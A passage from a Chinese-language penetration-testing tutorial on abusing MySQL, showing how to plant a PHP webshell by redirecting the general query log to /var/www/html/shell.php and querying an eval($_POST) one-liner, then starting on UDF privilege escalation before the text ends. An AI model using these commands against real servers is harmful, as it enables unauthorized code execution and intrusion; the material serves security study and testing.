主页 > 网络知识 > 内网渗透测试:MySql的利用与提权思路总结(3)

内网渗透测试:MySql的利用与提权思路总结(3)

 

image-20210123140644313

 

如下图,成功写入webshell:

 

image-20210123140716602

 

利用log日志写入WebShell

Mysql查询日志用来保存所有跟查询相关的日志,我们可以通过指定mysql日志的存放路径来往目标主机上写入webshell,但是也要对生成的日志有可读可写的权限。这种日志类型默认是关闭状态的,因为MySQL的用户有很多,如果将每个用户的查询操作都记录下来的话,对服务器的资源开销也是一件令人烦恼的事情。查询日志常见的几个配置选项:

mysql> show variables like '%general%'; +------------------+-----------------------------+ | Variable_name | Value | +------------------+-----------------------------+ | general_log | OFF | | general_log_file | /www/server/data/Ubuntu.log | +------------------+-----------------------------+ 2 rows in set (0.00 sec) mysql>

 

general_log 指定日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF 代表关闭。

 

 

general_log_file 指的是日志的保存路径

 

当 general_log=ON 时,所执行的sql语句都会出现在/www/server/data/Ubuntu.log这个文件里。那么,如果把 general_log_file 的路径修改为 /var/www/html/shell.php,那么所执行的sql语句就会保存在shell.php中,如果我们执行查询一个一句话,就可以getshell。

利用方式如下:

show variables like '%general%'; # 查看查询日志全局配置 set global general_log = ON; # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。 set global general_log_file = '/var/www/html/shell.php'; # 设置日志文件地址 select '<?php eval($_POST[whoami]);?>'; # 查询一句话,此时日志文件shell.php中将写入webshell set global general_log=OFF; # 关闭general log模式

 

image-20210123134215958

 

如下图,成功在Web目录写入webshell:

 

image-20210123134509455

 

**注意:**以上几种方法虽然成功在目标服务器的web目录下写入了webshell,但是所需要的条件极其严格,其中最为主要的就是当前数据库用户具有写入权限和 secure_file_priv 选项支持数据导入导出。但是,在 Linux 系统中权限分配十分严格,MySQL 用户一般情况下是无法直接往web根目录写入文件的,即便成功,写入的文件的权限也是MySQL的(上图中可见),Apache也是无法访问的,所以,以上方法通常是在Windows系统中适用。这个点需要记一下。

通过MySQL进行权限提升

所谓通过MySQL进行权限提升就是通过MySQL执行系统命令。假如说我们发现了某个网站存在SQL注入,亦或者是我们发现了某个主机的数据库的账号密码,我们直接远程连接上了该数据库。现在我们想利用该数据库来执行系统命令,该如何去做呢?下面我们就来演示几种通过MySQL执行系统命令进行权限提升的方法。这里需要注意的是,执行系统命令的权限取决于数据库启动用户的权限。

MySQL UDF提权执行系统命令

UDF是MySQL的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,当MySQL的内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

当我们有了数据库读取和写入权限以后,我们就可以尝试使用UDF提权的方法,从数据库root权限提升到系统的管理员权限。

提权原理:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!